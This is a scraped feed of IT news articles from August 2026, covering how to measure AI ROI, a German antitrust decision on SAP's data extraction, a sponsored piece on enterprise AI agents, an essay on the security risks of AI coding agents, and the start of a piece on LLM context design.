<p class="wp-block-paragraph">This is where the next generation of AI projects will separate winners from the pack, and it requires something almost no one negotiates up front: an ROI exchange rate. That’s the pre-agreed formula, signed off by finance before deployment, that converts KPI movement into currency. One point of first-call resolution improvement equals this many dollars. One hour of engineering time recovered equals that many. It sounds bureaucratic. It’s the opposite. The exchange rate is what lets a project claim its value the moment the KPIs move, instead of spending two quarters in a methodology debate trying to reverse-engineer credit after the fact.</p>



<p class="wp-block-paragraph">Without an exchange rate, even a well-instrumented project tops out at a productivity story. With one, the same project is a P&amp;L story. Same technology, same results, entirely different conversation with the CFO.</p>



<h2 class="wp-block-heading"><a></a>The award was won before deployment</h2>



<p class="wp-block-paragraph">This month CIO celebrates the <a href="https://www.cio.com/">CIO 100 Awards</a>, recognizing technology initiatives that deliver measurable business value. Study those winning projects and you’ll find plenty of impressive technology. But the thing they share isn’t a model or an architecture. It’s that “measurable” was engineered in at problem selection. The winners picked problems with real data and trusted scoreboards, and they agreed with finance on what the score was worth before they started playing.</p>



<p class="wp-block-paragraph">That’s the part of innovation that never makes it on stage, and it’s the part worth copying. So, flip the question that dominated last fall. Don’t ask where the ROI for AI is. Ask whether you picked a problem that could ever answer that question, and whether anyone wrote down the exchange rate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SAP dodges German antitrust investigation over data extraction]]></title>
<description><![CDATA[SAP is not unfairly preventing enterprises from extracting their data from its systems for use with competitors’ applications, the German Federal Cartel Office (Bundeskartellamt) concluded Thursday after a preliminary investigation.



The Bundeskartellamt does not currently intend to initiate ab...]]></description>
<link>https://tsecurity.de/de/3701143/it-nachrichten/sap-dodges-german-antitrust-investigation-over-data-extraction/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701143/it-nachrichten/sap-dodges-german-antitrust-investigation-over-data-extraction/</guid>
<pubDate>Mon, 03 Aug 2026 20:15:54 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">SAP is not unfairly preventing enterprises from extracting their data from its systems for use with competitors’ applications, the German Federal Cartel Office (Bundeskartellamt) concluded Thursday after a preliminary investigation.</p>



<p class="wp-block-paragraph">The Bundeskartellamt does not currently intend to initiate abuse proceedings against SAP, although it will continue to monitor developments in what it views as a dynamic market, it said in a news release.</p>



<p class="wp-block-paragraph">It launched its investigation into SAP’s practices following complaints by software companies including Celonis, a developer of process mining tools, alleging that SAP makes it difficult for customers and third parties to access data from its ERP systems and favors its own Signavio process mining tool.</p>



<p class="wp-block-paragraph">“Companies must generally also be able to use their own data in third-party applications. With large software platforms, in particular, non-discriminatory access to data is crucial to effective competition,” <a href="https://www.bundeskartellamt.de/SharedDocs/Meldung/EN/Pressemitteilungen/2026/07_30_2026_SAP_Celonis.html" target="_blank" rel="noreferrer noopener">said Bundeskartellamt President Andreas Mundt</a>. “Our preliminary investigation has found that there are currently sufficient data extraction options available and that there have so far been no indications of exclusionary practices that may be relevant under competition law.”</p>



<p class="wp-block-paragraph">SAP changed its policies on accessing data held in its applications via APIs in April, <a href="https://www.cio.com/article/4166172/dsag-criticizes-saps-new-api-policy.html">prompting customer pushback</a>.</p>



<p class="wp-block-paragraph">But, said Mundt, the Bundeskartellamt found that despite the API policy change, data extraction options that were previously permissible are still available.</p>



<h2 class="wp-block-heading">Data extraction is possible</h2>



<p class="wp-block-paragraph">SAP welcomed the Bundeskartellamt decision, saying that “as the authority states, SAP customers and partners have sufficient and permissible technical options to extract data from SAP systems and use it in solutions from other providers. The SAP API Policy does not restrict these capabilities.”</p>



<p class="wp-block-paragraph">Celonis also issued a statement, noting that the Bundeskartellamt ruling underlined the continued importance of unrestricted data access, and warning, “The decision is based on the key premise that data extraction for software from providers such as Celonis will remain possible even under SAP’s new API policy — a premise that SAP has been unwilling to confirm to date.”</p>



<p class="wp-block-paragraph">The Celonis statement continued, “We remain steadfast in our conviction that company data belongs entirely to the customers who generate it. No provider should restrict a company’s right to extract its own information or prevent users from working with third-party providers such as Celonis that offer added value to customers.”</p>



<p class="wp-block-paragraph">Celonis is also attacking SAP’s policies on data extraction in court in California. It <a href="https://www.cio.com/article/3847242/celonis-declares-sap.html">filed a complaint in March 2025</a> alleging that SAP was leveraging its software to “prevent SAP customers from sharing their own data with third-party providers, including Celonis, without paying prohibitively expensive fees.” The <a href="https://www.cio.com/article/4016013/us-judge-issues-split-decision-in-antitrust-case-against-sap.html">judge dismissed some of the claims in that case</a>, leaving three to be tested in a trial then scheduled for December 2026. Celonis has since amended its complaint to include 10 claims, and the trial has been rescheduled for 2027, the company said.</p>



<p class="wp-block-paragraph">“Our litigation continues to uncover evidence of SAP’s unlawful behavior, including anticompetitive conduct and theft of intellectual property, and we are confident in the evidence that we will present at trial,” Celonis said following the German authority’s decision.</p>



<p class="wp-block-paragraph">The Bundeskartellamt’s failure to find sufficient evidence to open a ‘formal abuse of dominance proceeding’ is a small win for SAP, said <a href="https://www.infotech.com/profiles/scott-bickley" target="_blank" rel="noreferrer noopener">Scott Bickley</a>, advisory fellow at Info-Tech Research, but “CIOs should not mistake it for a validation of SAP’s data access model.”</p>



<p class="wp-block-paragraph">Although SAP recognizes customers’ right to decide they use their data, it does not make it easy for them to do so, he said. “CIOs may technically retain vendor choice but be faced with expensive replication architectures, API rate and volume restrictions, additional platform costs, performance lags and data migration costs, all with a dependency on an SAP-approved technical pattern, which can be a moving target.”</p>



<h2 class="wp-block-heading">Data ownership as a procurement issue</h2>



<p class="wp-block-paragraph"><a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, sees the decision as an instructive one for enterprise CIOs.</p>



<p class="wp-block-paragraph">“This isn’t a reason to stop asking hard questions of your ERP vendor. Whether it’s SAP, Oracle, Microsoft, Salesforce, or anyone else, enterprises should continue to evaluate how easy it is to access their own operational data, integrate third-party applications, and migrate workloads if business priorities change. Those questions are becoming strategic procurement issues, not just technical ones,” Greis said.</p>



<p class="wp-block-paragraph">CIOs should consider data portability early in the procurement process, said <a href="https://www.linkedin.com/in/kaandincer" target="_blank" rel="noreferrer noopener">Kaan Dincer</a>, CEO of data migration vendor Settle: “Negotiate export rights, API access on reasonable terms, and documentation of the data model before signing and test a real extraction while the vendor still wants your renewal. The cost of your eventual exit is set on the day you implement, not the day you leave. ERP data now feeds analytics and automation outside the system of record, so access friction that used to be an IT annoyance is becoming a strategy constraint.”</p>



<p class="wp-block-paragraph">In the SAP case, he said, “the regulator answered a narrow legal question, not the operational one. Declining to open proceedings means the friction was not shown to be anticompetitive. It does not mean the friction is not real. The Bundeskartellamt’s own findings acknowledge that extracting large data volumes is technically demanding and it said explicitly that it will keep watching as access mechanisms and license models evolve. That is not a clean bill of health. It is a decision to hold fire.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/srinivasulureddybattu/" target="_blank" rel="noreferrer noopener">Srinivasulu Reddy Battu</a>, a senior software engineer with cloud vendor ZT Systems, said the big takeaway is the difference between difficult and impossible. SAP’s argument is that the data migration outside of its environment is possible, but Battu said it can be a time-consuming and expensive process.</p>



<p class="wp-block-paragraph">“When the ruling says ‘various permissible and viable options’ exist, that’s technically true, but it glosses over how much expertise it actually takes to use them,” Battu said. “CIOs should still watch how process mining gets packaged in their contracts. If Signavio comes included by default, teams will naturally start using it and that quietly reduces your negotiating power with other vendors over time. This isn’t just about SAP: Oracle, Microsoft, every major ERP vendor sits on a massive amount of your business data. If any of them decided to tighten their API policies tomorrow, most companies would be scrambling.”</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI’s measurement crisis is over. The translation crisis is next]]></title>
<description><![CDATA[Last fall, you couldn’t open a business publication without tripping over some version of the same headline: where is the ROI for AI? The anchor for most of that coverage was MIT’s “GenAI Divide” report, which found that despite $30 to 40 billion in enterprise generative AI spending, 95% of pilot...]]></description>
<link>https://tsecurity.de/de/3701144/it-nachrichten/ais-measurement-crisis-is-over-the-translation-crisis-is-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701144/it-nachrichten/ais-measurement-crisis-is-over-the-translation-crisis-is-next/</guid>
<pubDate>Mon, 03 Aug 2026 20:15:54 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Last fall, you couldn’t open a business publication without tripping over some version of the same headline: where is the ROI for AI? The anchor for most of that coverage was <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">MIT’s “GenAI Divide” report</a>, which found that despite $30 to 40 billion in enterprise generative AI spending, 95% of pilots delivered no measurable P&amp;L impact. The bubble takes wrote themselves. Boards asked uncomfortable questions. More than a few AI budgets went into the freezer for the winter.</p>



<p class="wp-block-paragraph">Here’s the detail that got lost in the panic: the study defined success as measurable KPI impact within six months of the pilot. Read that again. A project that transformed how a team worked but was never instrumented to prove it counted as a failure. <a href="https://exec-ed.berkeley.edu/2025/09/beyond-roi-are-we-using-the-wrong-metric-in-measuring-ai-success/">Researchers at UC Berkeley pushed back</a> on exactly this point, arguing that the 95% figure may represent 95% of organizations measuring the wrong things at the wrong time rather than 95% of projects failing to create value.</p>



<p class="wp-block-paragraph">In other words, the AI ROI crisis of 2025 was never really about the AI. It was about measurable verification. Most enterprise AI projects didn’t fail. They were simply built in a way that made success unprovable. If you’re a CIO defending a budget line, that distinction is cold comfort, because “we can’t tell if it worked” and “it didn’t work” produce the same conversation with your CFO. But the diagnosis matters, because the treatment is completely different. You don’t fix an unprovable project with a better model. You fix it by picking a better problem.</p>



<p class="wp-block-paragraph">I’ve <a href="https://thenewstack.io/theres-no-sku-for-ai-a-3-box-framework-to-avoid-ai-failures/">argued before</a> that AI initiatives should start with problems that already have good data and trusted metrics, and over the first half of 2026, the market arrived at that conclusion on its own.</p>



<h2 class="wp-block-heading"><a></a>The quiet correction of 2026</h2>



<p class="wp-block-paragraph">Watch where enterprise AI money actually went in the first half of this year and you’ll see a pattern that never made headlines: a hard pivot toward employee-facing use cases. Agents assisting support reps, sales teams, claims processors, IT help desks. The conventional read is that these are the safe choices, the training-wheels projects companies run while they work up the nerve for customer-facing AI.</p>



<p class="wp-block-paragraph">That read is wrong. The pivot to employee-facing AI isn’t about safety. It’s about scoreboards.</p>



<p class="wp-block-paragraph">Think about what an employee-facing workflow comes with that a greenfield AI initiative doesn’t. You already measure it. Average handle time, first-call resolution, cases closed per week, quota attainment. Those KPIs have years of baseline data behind them. More importantly, they’re politically real. In many organizations, people are bonused on those numbers. Nobody in the room disputes the methodology of a metric that’s been sitting on a comp plan for five years. When you drop an agent into that workflow and the KPIs move in the right direction across the entire employee population, ROI stops being a philosophy seminar and becomes back-of-the-envelope arithmetic. Headcount, fully loaded cost, percentage improvement, multiply.</p>



<p class="wp-block-paragraph">The survey data backs up what I’ve been seeing in the field. <a href="https://foundryco.com/research/research-ai-priorities/">Foundry’s 2026 AI Priorities study</a> found that improving employee productivity is now the single biggest business objective driving AI investment, cited by 55% of IT decision-makers. This publication’s own <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">25th annual State of the CIO research</a> tells the same story from the measurement side: lack of clear ROI metrics remains a critical barrier to AI success, cited by 32% of IT leaders, and among organizations that measure AI success at all, operational efficiency and process improvement (40%), employee productivity (34%) and cost reduction (30%) dominate, while revenue impact trails at 27%. And <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Deloitte’s State of AI in the Enterprise</a> found two-thirds of organizations reporting productivity and efficiency gains from AI, while only 20% can point to revenue growth.</p>



<p class="wp-block-paragraph">Notice what those numbers describe. The industry didn’t get better at measuring AI. It got better at picking problems that were already measured.</p>



<h2 class="wp-block-heading"><a></a>The post-mortem question nobody asks first</h2>



<p class="wp-block-paragraph">Which brings us to the diagnostic. When an AI project can’t demonstrate ROI, the instinct is to interrogate the technology. Wrong model. Wrong vendor. Insufficient context. Hallucinations. Sometimes that’s true. But the first question in the post-mortem should be about a decision that was made before a single token was generated: what problem did we pick?</p>



<p class="wp-block-paragraph">Did that problem have good data behind it? And did it have a scoreboard anyone trusted before the AI showed up? If the answer to either question is no, the project was never going to prove anything, no matter how well the technology performed. You can’t demonstrate improvement against a baseline that doesn’t exist, and you can’t win an argument with a metric that was invented the same week as the pilot. The MIT study’s 95% weren’t all technology failures. A meaningful share of them were selection errors, committed months earlier in a planning meeting, by people who chose an exciting problem over a measurable one.</p>



<h2 class="wp-block-heading"><a></a>The bill comes due</h2>



<p class="wp-block-paragraph">Here’s the uncomfortable part. Just as the industry figured out the measurability trick, the goalposts started moving.</p>



<p class="wp-block-paragraph"><a href="https://futurumgroup.com/press-release/enterprise-ai-roi-shifts-as-agentic-priorities-surge/">Futurum’s survey of 830 enterprise IT decision-makers</a> in the first half of 2026 documents the shift: productivity gains fell from 23.8% to 18.0% as the primary ROI metric buyers use to justify AI investment, while hard financial measures, top-line revenue and bottom-line profitability combined, nearly doubled to 21.7%. The productivity argument carried the pilot era. CFOs accepted “the KPIs moved” as an answer for a while. Now, they want hard dollars.</p>



<p class="wp-block-paragraph">This is where the next generation of AI projects will separate winners from the pack, and it requires something almost no one negotiates up front: an ROI exchange rate. That’s the pre-agreed formula, signed off by finance before deployment, that converts KPI movement into currency. One point of first-call resolution improvement equals this many dollars. One hour of engineering time recovered equals that many. It sounds bureaucratic. It’s the opposite. The exchange rate is what lets a project claim its value the moment the KPIs move, instead of spending two quarters in a methodology debate trying to reverse-engineer credit after the fact.</p>



<p class="wp-block-paragraph">Without an exchange rate, even a well-instrumented project tops out at a productivity story. With one, the same project is a P&amp;L story. Same technology, same results, entirely different conversation with the CFO.</p>



<h2 class="wp-block-heading"><a></a>The award was won before deployment</h2>



<p class="wp-block-paragraph">This month CIO celebrates the <a href="https://www.cio.com/">CIO 100 Awards</a>, recognizing technology initiatives that deliver measurable business value. Study those winning projects and you’ll find plenty of impressive technology. But the thing they share isn’t a model or an architecture. It’s that “measurable” was engineered in at problem selection. The winners picked problems with real data and trusted scoreboards, and they agreed with finance on what the score was worth before they started playing.</p>



<p class="wp-block-paragraph">That’s the part of innovation that never makes it on stage, and it’s the part worth copying. So, flip the question that dominated last fall. Don’t ask where the ROI for AI is. Ask whether you picked a problem that could ever answer that question, and whether anyone wrote down the exchange rate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How NTT DATA AIVista closes the last mile of agentic AI for enterprise agents]]></title>
<description><![CDATA[Presented by NTT DATA AIVista At VB Transform 2026, NTT DATA AIVista CEO Bratin Saha joined VentureBeat CEO and editor-in-chief Matt Marshall to discuss the last-mile challenge of operationalizing frontier models in regulated production, where reliability, context, guardrails, and security determ...]]></description>
<link>https://tsecurity.de/de/3701127/it-nachrichten/how-ntt-data-aivista-closes-the-last-mile-of-agentic-ai-for-enterprise-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701127/it-nachrichten/how-ntt-data-aivista-closes-the-last-mile-of-agentic-ai-for-enterprise-agents/</guid>
<pubDate>Mon, 03 Aug 2026 20:15:51 +0200</pubDate>
<content:encoded><![CDATA[<p><i>Presented by NTT DATA AIVista </i></p><hr><p>At <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>, NTT DATA AIVista CEO Bratin Saha joined VentureBeat CEO and editor-in-chief Matt Marshall to discuss the last-mile challenge of operationalizing frontier models in regulated production, where reliability, context, guardrails, and security determine whether AI delivers enterprise value. The conversation centered around the question facing every enterprise now pouring money into AI: how to convert that spending into real, tangible value. </p><p>"It's not just a model, you're building a system around the model," Saha said. The last mile is the work of wrapping a frontier model in an enterprise's own data, workflows, and guardrails.</p><div></div><p></p><p>In the end, regulated production turns on more than just technology, Saha said. Today, most enterprise AI projects fail during implementation because of poor integration, domain specialization gaps, lack of governance, and unclear ownership of outcomes. Last-mile specialization turns a capable foundation model into an enterprise agent shaped by domain-specific workflows, risk appetite, client classifications, regulatory interpretations, and institutional knowledge.</p><h2>Why frontier models stall in enterprise workflows</h2><p>Frontier models fall well short of production-grade accuracy on many real-world insurance workflows, Saha said, but last-mile specialization can lift them to the reliability enterprises need. Out of the box, those models struggle with the complexity of regulated workflows such as multinational insurance claims.</p><p>"These forms are pretty complex, often have handwriting, lots of checkboxes, and so on," he said, and that complexity is why frontier models like Fable 5, Opus 4.8, and GPT-5.5 fall short out of the box. </p><p>Saha said the biggest gains come from specializing the entire AI system, not just the foundation model.</p><p>That system gets specialized with the customer's data, workflow and, in many cases, the tribal knowledge that never made it into an operating procedure document. </p><p>"The biggest bang for the buck comes from the specialization and then these specialized guardrails," he said.</p><p>The work has three components: </p><p>capturing the enterprise’s context and making it consumable by AI</p><p>running an ensemble of models so cost does not go through the roof</p><p>and adding specialized guardrails that check the model and force a redo when it gets something wrong. </p><h2>What the last mile of agentic AI actually requires</h2><p>None of this involves fine-tuning. VentureBeat’s latest enterprise survey found it ranked last among companies’ model-selection priorities.</p><p>Instead, the last mile centers on domain knowledge and undocumented workflows that companies would never expose publicly without losing their competitive edge.</p><p>"The last mile is about taking data that's proprietary to you and using that to build a system around the model that can steer the model in the right way that can put the appropriate guardrails around it," Saha said. </p><p>In the end, enterprise AI is about moving a workflow from point A to point B rather than deploying a technology, and NTT's advantage comes from pairing AI experts with subject domain experts. </p><p>"The only reason is because we go and talk to those human workers and we say, 'How do you actually do the work,'" he said. That expertise is then encoded into an agent. </p><p>Success in insurance, manufacturing, and other regulated industries relies on three things at once, he added. </p><p>"You need technology, you need the domain expertise, and you need the change management expertise," he explained, adding that across his team's clients, technology is not the bottleneck.</p><h2>How enterprises turn AI investment into tangible value</h2><p>For enterprises weighing large AI budgets, Saha's said the payoff comes not from the model but from the work built around it. </p><p>"When you're deploying AI in the enterprise, you're not deploying a technology," he said. "You are taking a workflow that exists and taking it from point A to point B." The value is created by the workflow that gets moved, not the model that helps move it.</p><p>That reorders where money should go. </p><p>"Technology is not the bottleneck," Saha said, pointing instead to the domain expertise and change management wrapped around the model, and to the discipline of commiting to all three together. Spending aimed only at the model leaves most of the return on the table.</p><p>Enterprises don’t have to choose between embedding AI into existing workflows and redesigning those workflows from scratch. NTT sees the two as successive stages of the same journey.</p><p>"We are starting with embedding in the workflow because it's easier change management," he said, noting that customers running mission-critical operations will not let a vendor rip out a working process midstream. "Once that happens, then we go into, how can we now reimagine this? And that really is where the biggest bang is."</p><h2>Where enterprise AI stays bespoke and where it becomes scalable</h2><p>Keeping intelligence in the surrounding system rather than the model also preserves swappability and lets enterprises take advantage of open-weight and open-source models as they mature. Saha’s team runs an ensemble that mixes frontier and open-source models, and he expects the industry to lean on open weights wherever the cost of a mistake is low while reserving frontier reasoning for the cases that demand it.</p><p>"In many situations, especially in regulated industries where mistakes are very expensive, that last extra couple of percent matters," he said.</p><p>The platform follows the same pattern: Guardrail generation and neurosymbolic models scale across customers, while capturing each organization’s tribal knowledge remains bespoke. Saha pointed to NTT DATA’s position as one of the world’s largest insurance third-party administrators as an advantage in acquiring that expertise.</p><p>"The ability to take that knowledge and trust that has been built over 20 years is very hard to replicate instantly, and I do think that is a durable aspect of what we have," he said.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three scary AI security mistakes haunting enterprises]]></title>
<description><![CDATA[There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.



It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe s...]]></description>
<link>https://tsecurity.de/de/3700609/ai-nachrichten/three-scary-ai-security-mistakes-haunting-enterprises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700609/ai-nachrichten/three-scary-ai-security-mistakes-haunting-enterprises/</guid>
<pubDate>Mon, 03 Aug 2026 12:13:04 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.</p>



<p class="wp-block-paragraph">It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe someone builds an internal dashboard with an agent. The dashboard quickly becomes indispensable, and all of a sudden the experiment becomes production. Along the way, no one thought to ask the boring, inconvenient questions: What exactly was pulled from npm, PyPI, or Docker Hub? How is (or was) authentication configured? Is anyone watching for supply chain attacks against the tools and libraries the agents chose?</p>



<p class="wp-block-paragraph">And it’s not just a one-off project here or a couple of applications there. AI is enabling organizations to generate more code and ship more products and projects, more quickly, than ever before. By the time security teams get a look, the business is hooked and there’s no turning back. An actual nightmare has begun.</p>



<p class="wp-block-paragraph">There are three major problems that make the nightmare real. </p>



<h2 class="wp-block-heading">Components you never explicitly chose</h2>



<p class="wp-block-paragraph">When you ask an AI agent to build an app, it doesn’t just spit out a single script. It quietly assembles an entire ecosystem around whatever problem you’ve described to it. It pulls in a web framework, grabs a bunch of libraries, stands up databases, and then it potentially builds everything on dependencies in container images.</p>



<p class="wp-block-paragraph">From a productivity perspective, this is awesome. However, from a security standpoint, it’s worrisome, to say the least. When I’ve built apps like this myself, I couldn’t begin to tell you all of the components that were being used unless I went back and asked the agent to explain itself.</p>



<p class="wp-block-paragraph">We live in a world where anyone can publish to npm or PyPI, and we’ve seen attackers slip malicious packages into those ecosystems or compromise ones that are widely used. Some of the recent incidents have involved security and devops tools themselves pulling a compromised dependency, running it as part of CI/CD with elevated privileges, and quietly exfiltrating secrets or tampering with builds. I personally experienced this type of compromise a couple of months ago, and had to update all of my credentials in GitHub.</p>



<p class="wp-block-paragraph">Pulling unvetted code is bad; now layer AI agents on top of that. They default to whatever is easiest to discover and integrate. If a package solves a problem in front of the agent, the agent will add it. This is the old “download a random library from the Internet” problem, but now it’s on autopilot, at scale, and moving at a pace we’ve never seen before.</p>



<p class="wp-block-paragraph">To solve this problem, we must provide the agents with an innate sense of our risk tolerance, an approved components list, our desires around logging, etc. We can do this with spec files and what the industry calls constitutions. Collectively, this is called harness engineering, which we will talk more about later.</p>



<h2 class="wp-block-heading">Skills shifting from code to architecture</h2>



<p class="wp-block-paragraph">There has been a lot of hand-wringing about <a href="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html">whether junior developers</a> will ever <a href="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html">really learn to code</a> if AI is doing all of their coding for them.</p>



<p class="wp-block-paragraph">That’s not what worries me.</p>



<p class="wp-block-paragraph">I think it’s fine to let an agent spit out code. It’s a job they are really good at. What they are not really good at is identifying and avoiding problems in code.</p>



<p class="wp-block-paragraph">I haven’t written code in quite some time. I can, but it doesn’t make sense for me to do so. What is worth my while is noticing when an agent suggests something dumb or even dangerous (or both).</p>



<p class="wp-block-paragraph">For example, while working on a recent personal project, an agent proposed exposing a memory server on the public Internet with no authentication. The agent wired things up so smoothly that, at first glance, everything looked fine and just worked. But then I paused and asked, “Wait, how is this actually authenticating? Where’s the password, secret token, or OAuth in this flow?” Turns out it wasn’t authenticating and there was no password. If I hadn’t taken that beat—and then argued with the agent for a while—the app would have gone live with no protection.</p>



<p class="wp-block-paragraph">So, the skills issue isn’t about whether we will lose the ability to code but rather whether we have the ability to ask questions and be discerning, and whether we have the understanding to know when something doesn’t look or even feel right. Do organizations have people who know what a dangerous software pattern looks like when the agent suggests it? You need people who can recognize when an authentication flow is too permissive, when a data store should never be exposed beyond a certain boundary, and when an architecture has become such a steaming pile of technical debt that the right answer is to throw away a whole layer and rebuild it.</p>



<p class="wp-block-paragraph">You need people who know that “what works” isn’t the same as “what’s safe” or “what’s right” and who can argue back with the agent when the former doesn’t line up with the latter.</p>



<p class="wp-block-paragraph">It’s not about syntax. It’s about architecture, supply chain awareness, and the willingness to say, “We’re tearing this down and doing it right,” even when the prototype looks good on the surface. Teach your AI-assisted coders basic security principles, basic architectural patterns. The AI will teach them the more advanced stuff, as long as they keep asking questions.</p>



<h2 class="wp-block-heading">Agents with no harness</h2>



<p class="wp-block-paragraph">The third problem is that we’ve unleashed some very capable agents into our development workflows without treating them like first-class actors that need governance.</p>



<p class="wp-block-paragraph">Many organizations are wiring AI assistants into a repo or IDE and letting them scaffold projects and pipelines. Maybe they bolt on a security scanner and declare “AI enablement.” That’s not a governance model, that’s optimism (and not even cautious optimism).</p>



<p class="wp-block-paragraph">Indeed, a code-generating agent with broad access to your repos, your CI/CD pipeline, and your artifact registries is effectively a hyper-productive and not-very-well-trained junior developer with access to the Internet and no ingrained sense of organizational policies. It can introduce new tools, new dependencies, and new patterns faster than your review processes can handle.</p>



<p class="wp-block-paragraph">In my personal projects, I’ve started to think of this as what AI coders call a harness-engineering problem. For every agent that’s responsible for building or wiring code, I try to put other agents in the loop that are responsible for tearing it down, at least conceptually. For example, one agent focuses on security and looks for obvious vulnerabilities and bad practices. Another looks at architecture and points out when the app design is veering into unmaintainable territory. A third looks at performance and reliability issues, which are themselves a kind of security concern when you think about things like denial of service and resource exhaustion. Pair this with constitutions that give the agents first principles on architecture, security, and design, and this is no longer vibe coding, it’s harness engineering at scale for all of your projects.</p>



<p class="wp-block-paragraph">What I am doing isn’t perfect; there is no perfect in this space, because these are non-deterministic, statistical tools. But, many organizations aren’t even doing this. In effect, their agents are freelancing. They’re vibe coding. They’re not constrained to trusted registries or hardened base images. They’re not required to log their decisions in a way that security can audit. No one owns the harness, and that means a lot of implementation decisions have fully shifted from humans to systems that no one is really watching.</p>



<h2 class="wp-block-heading">New problems require new thinking</h2>



<p class="wp-block-paragraph">The enterprise AI nightmare is not a killer robot; it’s the erosion of our ability to see and control what’s running in our own environments at the exact moment our velocity is exploding. The danger is in ceding your agency. It’s in shipping applications that internal and external customers love—and don’t want to give up—but inherently aren’t safe. Right now, someone in your organization is using AI to build a capable app, pulling in who knows what from who knows where and adding it to your infrastructure.</p>



<p class="wp-block-paragraph">The good news is that these problems are identifiable. They are also solvable, although it will take a new form of thinking than what solved problems in the past. You must think statistically, and declare constitutions with first principles. You can standardize trusted stacks and registries. You can retrain people around architectural security rather than just “secure coding.” You can start treating agent harnesses as systems that deserve design reviews and edits.</p>



<p class="wp-block-paragraph">But, none of that can happen until the enterprise is willing to admit that the nightmare is already here.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your context layer breaks the minute you use it for something new]]></title>
<description><![CDATA[Every developer who has worked with an LLM-powered application has hit a familiar wall. You hard-code context into a prompt, and it works great for the thing you built it for. But when you try to have the system do something slightly different, something goes wrong. So you add more context. Then ...]]></description>
<link>https://tsecurity.de/de/3700610/ai-nachrichten/why-your-context-layer-breaks-the-minute-you-use-it-for-something-new/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700610/ai-nachrichten/why-your-context-layer-breaks-the-minute-you-use-it-for-something-new/</guid>
<pubDate>Mon, 03 Aug 2026 12:13:04 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every developer who has worked with an <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLM</a>-powered application has hit a familiar wall. You hard-code context into a prompt, and it works great for the thing you built it for. But when you try to have the system do something slightly different, something goes wrong. So you add more context. Then more conflicts show up, and you end up trying to hopelessly maintain a web of hand-tuned strings that nobody on the team fully understands.</p>



<p class="wp-block-paragraph">The comparison I keep coming back to is an <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">API</a>. An API is a handshake: it defines what you can ask for and what you’ll get back, without forcing you to know how the data was produced or stored underneath. Call an endpoint for a news article, and you know you’ll get a title, a description, and an author. The endpoint doesn’t need a separate, hard-coded entry for every article that could ever exist. It describes a type of thing and lets you retrieve any instance of it. </p>



<p class="wp-block-paragraph">Context should work the same way. Instead, most teams build the opposite of an API. They write context that says “this specific article is about X and Y,” then write another block for the next article, and the next, until they’ve built something that only works for the narrow case it was written for. Use it outside that case, and it breaks.</p>



<h2 class="wp-block-heading">The real fix: a metadata layer (not more context)</h2>



